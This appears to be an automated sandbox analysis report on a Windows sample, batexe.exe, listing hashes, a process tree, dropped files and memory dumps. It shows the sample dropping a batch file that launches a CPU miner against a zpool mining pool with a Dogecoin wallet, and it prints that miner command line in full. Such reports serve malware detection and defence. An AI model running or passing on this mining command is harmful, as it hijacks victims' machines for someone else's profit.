73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 02:21

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3976	b2e.exe
1756	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1756	cpuminer-sse2.exe
1756	cpuminer-sse2.exe
1756	cpuminer-sse2.exe
1756	cpuminer-sse2.exe
1756	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3020-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 3976	3020	batexe.exe	73
PID 3020 wrote to memory of 3976	3020	batexe.exe	73
PID 3020 wrote to memory of 3976	3020	batexe.exe	73
PID 3976 wrote to memory of 2940	3976	b2e.exe	74
PID 3976 wrote to memory of 2940	3976	b2e.exe	74
PID 3976 wrote to memory of 2940	3976	b2e.exe	74
PID 2940 wrote to memory of 1756	2940	cmd.exe	77
PID 2940 wrote to memory of 1756	2940	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Users\Admin\AppData\Local\Temp\A24B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A24B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A24B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A6BF.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2940
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A24B.tmp\b2e.exe

Filesize
1.2MB

MD5
7b0f4c1d8506067fce25df5de733bcb7

SHA1
053b618c2012c6895e9709696395951acf15c165

SHA256
dd9a3eca69a73709146ebc228a433e0fef43ab6c12c2280725d798c7b494216a

SHA512
45ca44d04c436082073475b0bec73cdd3df1f0cc670d9a3d5dd77fc2b3b60ef870af5912d27269107222850b07234060eefb2d272b96de1367ff544cac506618

Download Submit
C:\Users\Admin\AppData\Local\Temp\A24B.tmp\b2e.exe

Filesize
1.9MB

MD5
db5c09852a9dce74cc260d402b8487bb

SHA1
7f53cb14088c23cb2140e52b245535100dfbea85

SHA256
e7a5f75e6901b233b87b806134d5bea194e44705f263f86f471c89fd16d9e262

SHA512
83f204c1b641a7c4e33b91cad2fe52c450637ff5653a8d98709d728f7930e9a9e13ceb974c2cf8e622f5ded0766ec86ca01684e3af80f6fd00100c27f36df133

Download Submit
C:\Users\Admin\AppData\Local\Temp\A6BF.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
2ef40d5c3b964c66392be6a3db51bf84

SHA1
391a644aa11504129db4b42007b054f2c3bf5414

SHA256
0ef835e2576ba8fbfcd733a66284579607cc8dafdc2b26fe3c0091dc66d8e707

SHA512
0b568c8b5ef88af49c00801cd5eaf3e7262367d2a3356f1a685d36e3c1dff63babb5dd049d5a1e7fbe214cab35e6f271d0a105e073a1fb2c281bb5c0279b7107

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
b465230cf79fcd815a31dad053d1dbe1

SHA1
f1bf5606ba3d1bb49d9437b5ba489fd9e8614ace

SHA256
cd616032256b5c1fdad92cf551a04c9f8fb9292262b19af72c1d8406b8baf865

SHA512
b832fcdf586c0afad6f0fc7dd315ba3ae05d3e49ca730ddba0ac463620afd44215a3e2d3f906de41e4448dd91610b13633148048819156aa27a4ee3155d3e9bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
03ae1346c99a66fcbd06c3a56898820a

SHA1
cf57878eb1c3523d08468ba3e9e65a063c24d902

SHA256
bdb28d28d4f6093c2bbf0cbdf1b2edaf325ad34c214cde4123437896488dc445

SHA512
b1e6f93db804c65f996ae29123a601ee95830391d9f5b73608962cbcd25a9082f1b1f9a6e732e5f84bfa3bd7207101edf9d076445370150ae58c9dcace634260

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
c89e863ce2221a0f49b45a55100e468c

SHA1
569ede311983a53a8f23f254fe37735538cbfa5e

SHA256
5ca5fb55f2e5ddee30c893b0e78d1ad59f593c2c3e5ecc155f14a088c65cfb46

SHA512
f65476f7353ef6ca7378752551c28736b61916cbf54f0a17b211a5a14ab93ddc2830a1d9c3cc1118117a23be95d49b06fc8a174d1a87f360ae4b96a6bbde04b0

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
696922f5250b5df33813776816103357

SHA1
6f6e4cecb16596c1ad0e631c7ab5b56659da1ca2

SHA256
2802e69b65032d2cb76172ab508766f8a2b2beba9c2cd84dbf7c28fc9cbe1c7d

SHA512
dcb8535a83f321561241432304155a2e2a18435e102785a5789bd3a9ed643f153fb63ca797c8ca798d2d85927b29375048b43b0ef0bc4cb00c1c96b5822e8ae9

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
799d3c24a4a181fef5c81ff448d54ca8

SHA1
4d78bf61e271fee37f496e5b27d98b4003d6f7f1

SHA256
49087555ba33ec28799185c3af8f2fe87c0519ce6b74fbfcd6fee01360cf6d73

SHA512
422485b12dcd6d9cab0fb589f013f98c5b144de14b6e07af756cb0d6970be8b090e44dd143cf0a3d09e50d4f06d9c68a39a1f3c5241b624446fe1e2ee181cae5

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1756-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1756-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1756-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-43-0x0000000066770000-0x0000000066808000-memory.dmp

Filesize
608KB

Download
memory/1756-44-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/1756-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1756-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3020-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3976-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3976-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download